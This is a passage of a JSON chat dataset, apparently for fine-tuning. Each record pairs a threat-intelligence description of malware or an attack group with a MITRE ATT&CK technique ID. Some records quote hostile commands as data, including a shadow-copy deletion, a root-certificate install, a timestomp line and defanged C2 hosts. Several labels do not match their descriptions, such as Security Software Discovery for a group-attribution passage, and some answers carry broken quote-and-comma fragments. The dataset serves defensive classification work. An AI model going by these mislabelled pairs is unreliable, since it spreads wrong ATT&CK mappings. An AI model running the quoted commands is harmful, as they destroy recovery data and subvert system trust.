                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CaddyWiper has the ability to dynamically resolve and use APIs, including `SeTakeOwnershipPrivilege`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In these websites they hosted malware that was digitally signed with a valid, likely stolen code signing certificate Based on VirusTotal uploads, malicious documents content, and known victims – other targeted organisations are located in Turkey, Qatar, Kuwait, United Arab Emirates, Saudi Arabia, and Lebanon"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can list all files on a system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla exploits CVE-2017-11882 in Microsoft’s Equation Editor to execute a process."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors communicated with C2 via an encrypted RC4 byte stream and AES-CBC."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Run commands on Windows system remotely using Winexe: Winexe is a GNU/Linux-based application that allows users to execute commands remotely on WindowsNT/2000/XP/2003/Vista/7/8 systems. It installs a service on the remote system, executes the command, and uninstalls the service. Winexe allows execution of most of the windows shell commands"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this wave of attacks, Emotet trojan spreads by emails that lure victims into downloading a Christmas-themed Word document, which contains a macro that executes a PowerShell script to download a malicious payload"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos has a command for UAC bypassing."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet artifacts are typically found in arbitrary paths located off of the AppData\\Local and AppData\\Roaming directories. Persistence is typically maintained through Scheduled Tasks or via registry keys. Additionally, Emotet creates randomly-named files in the system root directories that are run as Windows services"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses cmd.exe to execute scripts and commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has set up Facebook pages in tandem with fake websites."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Word document has a malicious macro in it and, when opened by the victim, it will drop and execute a file in a specific folder"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command. The type of data this implant gathers from the victim’s system"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer also checks for the presence of following device drivers, DLLs, and virtual devices. If any of these objects are detected, the malware enters an infinite loop, stopping its execution from going further"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users. Here is an example from 2015 where “McAfee Email Protection” is offered"
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has used process hollowing to inject itself into legitimate Windows process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS encodes C2 traffic with base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy)"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has installed TeamViewer on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT19 HTTP malware variant establishes persistence by setting the Registry key \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Debug Tools-%LOCALAPPDATA%\\\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT can maintain persistence by creating an auto-run Registry key"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then uses WebDAV to upload to a Box cloud drive."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deobfuscates its strings and APIs once its executed."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can determine the NetBios name and  the IP addresses of targets machines including domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT is able to open a remote shell to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been delivered through compromised sites acting as watering holes."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It first grabs an encrypted blob stored away in a global variable and pulls out 381 bytes of this encrypted data:  The standard win32 api CryptDecrypt uses rc4 to decrypt this blob into a hardcoded c2, url path, and url parameters listed below with a simple 140-bit key “\\x8B\\xFF\\x55\\x8B\\xEC\\x83\\xEC\\x50\\xA1\\x84\\x18\\x03\\x68\\x33\\xC9\\x66\\xF7\\x45\\x10\\xE8\\x1F\\x89\\x45\\xFC\\x8B\\x45\\x14\\x56″"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps. Its decryption routine, part of an executable physical patch, begins somewhere between the start() and WinMain() functions. A fun fact is that the malware authors embedded their malicious code into a binary that was a harmless executable"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX allows actors to spawn a reverse shell on a victim."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It hands over the decrypted buffer extracted from the resource section and the path from the original RegAsm executable to the start_protect_hexcode function.Then it starts the process-hollowing shellcode, which is stored in the HEXCODE1 variable"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can create a registry key using wdigest."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to  random values using the touch command: touch –t YYMMDDMM “/path/filename” > /dev/null"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our analysis shows that the Crimson RAT malware is compiled as a .NET binary with minimal obfuscation. This could indicate that the cybercriminal group behind this campaign is possibly not well-funded."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1001 - Data Obfuscation', 'T1588.001 - Malware', 'T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT variants have communicated with C2 servers over HTTP and HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used the following commands after exploiting a machine with  malware to obtain information about files and directories: dir c:\\ >> %temp%\\download dir \"c:\\Documents and Settings\" >> %temp%\\download dir \"c:\\Program Files\\\" >> %temp%\\download dir d:\\ >> %temp%\\download"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has dumped credentials from victims. Specifically, the group has used the tool GET5 Penetrator to look for remote login and hard-coded credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have gathered three samples of the default loader associated with this group and extracted the following configurations:    SHA256 of Sample Configuration   82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 LAUNCHER_ARGS=[‘–host’, ‘www1.chrome-up[.]date:4443’, ‘-t’, ‘obfs3’]   db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f LAUNCHER_ARGS=[‘–host’, ‘www1.chrome-up[.]date:4443’, ‘-t’, ‘obfs3’]   7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 LAUNCHER_ARGS=[‘–host’, ‘139.59.46[.]154:3543’, ‘-t’, ‘obfs3’]      These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1102 - Web Service', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has downloaded additional lateral movement scripts from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The core Karagany implant does not delete any of the plugins it downloads, although some of the plugins are designed to self-delete. This oversight facilitates high-fidelity forensic analysis of the majority of plugin activity carried out over the duration of the intrusion and allows a detailed timeline of threat actor activity to be compiled. The malware also creates a directory that is used for storing both plugin output data and to stage data for exfiltration. The ascending numerical value of these directories likely indicates malware versioning"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader uses a simple one-byte XOR method to obfuscate values in the malware."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is used to automate SQL injection."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server. It has also obfuscated its C2 traffic as normal traffic to sites such as Github."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called “Rocket Kitten” (AKA Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zox has used the .PNG file format for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rancor has used VBS scripts as well as embedded macros for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHTRACK aggregates collected data in a tmp file."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has scanned specific lists of target IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs has the capability to gather the IP address from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "4) Special attention was given to the design of the network communication, in order to reduce the noise a large number of encrypted machines may generate while contacting the Command and Control servers. 5) The encryption scheme is solid – using the AES and RSA algorithms"
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our initial discovery of GravityRAT was through a malicious Word document. We were able to discover four distinct versions of GravityRAT, developed over two years"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can check the Registry for specific keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook contains keylogging capabilities."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT has a command to collect the processor type, operation system, computer name, uptime, and whether the system is a laptop or PC."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers system information, network addresses, disk type, disk free space, and the operation system version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-1314 actors used compromised domain credentials for the victim's endpoint management platform, Altiris, to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has used LZMA and base64 libraries to decode obfuscated scripts."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "finds a specified directory, lists the files and metadata about those files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used Powershell to discover email accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can enumerate windows and child windows on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors also disabled proxy settings to allow direct communication from victims to the Internet."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can check for the presence of ESET and Kaspersky security software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk has the ability to delete shadow volumes using \"vssadmin.exe delete shadows /all /quiet\"."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot injects into the svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok installs a root certificate to aid in Adversary-in-the-Middle actions using the command \"add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/filename\"."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 configured at least one instance of Cobalt Strike to use a network pipe over SMB during the 2020 SolarWinds intrusion."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CopyKittens uses ZPP, a .NET console program, to compress files with ZIP."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  C2 channel uses an 11-byte XOR algorithm to hide data."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon opening the malicious DOC attachment, an additional download is triggered from a stored URL within an embedded OLE Object (seen in Figure 4)"
            },
